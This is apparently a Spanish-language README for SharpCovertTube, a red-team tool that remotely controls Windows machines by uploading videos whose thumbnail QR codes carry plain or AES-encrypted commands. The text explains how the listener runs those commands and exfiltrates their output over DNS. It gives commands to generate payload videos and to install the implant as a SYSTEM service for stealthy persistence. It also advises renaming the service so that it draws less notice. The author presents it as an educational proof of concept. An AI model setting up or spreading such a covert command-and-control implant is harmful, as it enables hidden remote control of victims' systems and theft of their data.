
Youtube como canal C2 - Control de sistemas Windows subiendo videos QR a Youtube
SharpCovertTube es un programa creado para controlar sistemas Windows de forma remota mediante la subida de vídeos a Youtube.
El programa monitorea un canal de Youtube hasta que se sube un vídeo, decodifica el código QR de la miniatura del vídeo subido y ejecuta un comando. Los códigos QR en los vídeos pueden usar valores en texto plano o cifrados con AES.
Tiene dos versiones, binario y binario de servicio, e incluye un script de Python para generar los vídeos maliciosos. Su propósito es servir como método de persistencia utilizando únicamente peticiones web a la API de Google.

Ejecuta el listener en tu sistema Windows:

Comprobará el canal de Youtube cada cierto tiempo (10 minutos por defecto) hasta que se suba un nuevo vídeo. En este caso, subimos "whoami.avi" desde la carpeta example-videos:
Después de encontrar que hay un nuevo vídeo en el canal, decodifica el código QR de la miniatura del vídeo, ejecuta el comando y la respuesta se codifica en base64 y se exfiltra usando DNS:

Esto también funciona para códigos QR con payloads cifrados con AES y respuestas de comandos más largas. En este ejemplo, se sube el archivo "dirtemp_aes.avi" de example-videos y el contenido de c:\temp se exfiltra mediante varias consultas DNS:

El registro en un archivo es opcional, pero asegúrate de que la carpeta exista; el valor predeterminado es "c:\temp\.sharpcoverttube.log", por lo que "c:\temp" debe existir.
La exfiltración por DNS también es opcional y se puede probar fácilmente usando el collaborator de Burp:

Como alternativa, creé un script para generar fácilmente vídeos QR, subirlos a Youtube y monitorizar y analizar las consultas DNS codificadas en base64. La configuración para usar este script como servidor C2 se explica en la carpeta c2-server:

Hay algunos valores que puedes cambiar; los encuentras en el archivo Configuration.cs para el binario normal y el binario de servicio. Solo los dos primeros valores deben actualizarse:

Puedes generar los vídeos usando el script del servidor en la carpeta c2-server o simplemente ejecutando el script generate_video.py. Para esto último, primero instala las dependencias:
pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus
En caso de que estés usando Linux, también puedes necesitar:
apt-get install libgl1
Luego ejecuta el script generate_video.py:
python generate_video.py -t TIPO -f ARCHIVO -c COMANDO [-k CLAVEAES] [-i IVAES]
TIPO (-t) debe ser "qr" para payloads en texto plano o "qr_aes" si se usa cifrado AES.
ARCHIVO (-f) es la ruta donde se genera el vídeo.
COMANDO (-c) es el comando a ejecutar en el sistema.
CLAVEAES (-k) es la clave para cifrado AES, solo necesaria si se usa el tipo "qr_aes". Debe ser una cadena de 16 caracteres y la misma que en el archivo Program.cs de SharpCovertTube.
IVAES (-i) es el IV para cifrado AES, solo necesaria si se usa el tipo "qr_aes". Debe ser una cadena de 16 caracteres y la misma que en el archivo Program.cs de SharpCovertTube.
Generar un vídeo con un valor QR de "whoami" en texto plano en la ruta c:\temp\whoami.avi:
python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami
Generar un vídeo con un valor QR cifrado con AES de "dir c:\windows\temp" con la clave e IV "0000000000000000" en la ruta c:\temp\dirtemp_aes.avi:
python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000

Puedes encontrar el código para ejecutarlo como servicio en la carpeta SharpCovertTube_Service. Tiene las mismas funcionalidades excepto la autoeliminación, que no tendría sentido en este caso.
Es posible instalarlo con InstallUtil; está preparado para ejecutarse como usuario SYSTEM y debes instalarlo como administrador:
InstallUtil.exe SharpCovertTube_Service.exe
Luego puedes iniciarlo con:
net start "SharpCovertTube Service"

En caso de tener privilegios de administrador, esto puede ser más sigiloso que el binario normal, pero la "Descripción" y "NombreMostrado" deberían actualizarse (como se ve en la imagen de arriba). Si no tienes esos privilegios, no puedes instalar servicios, por lo que solo puedes usar el binario normal.
¡El archivo debe ser de 64 bits!!! Esto se debe al código utilizado para la decodificación QR, que está tomado del proyecto QR-Capture de Stefan Gansevles, quien tomó parte de él del proyecto QRCode de Uzi Granot, quien a su vez tomó parte de él del proyecto Camera_Net de Zakhar Semenov (luego perdí el rastro). ¡Así que gracias a todos ellos!
Este proyecto es un port de covert-tube, un proyecto que desarrollé en 2021 usando solo Python, el cual se inspiró en los blogs de Welivesecurity sobre los malwares Casbaneiro y Numando.
Este proyecto es una Prueba de Concepto (PoC) para mostrar que casi cualquier cosa en Internet puede usarse como canal C2; con suerte, será inspirador para alguien. El proyecto está destinado a fines educativos; si haces mal uso del servicio de Youtube, puedes meterte en problemas como que Youtube elimine tu canal.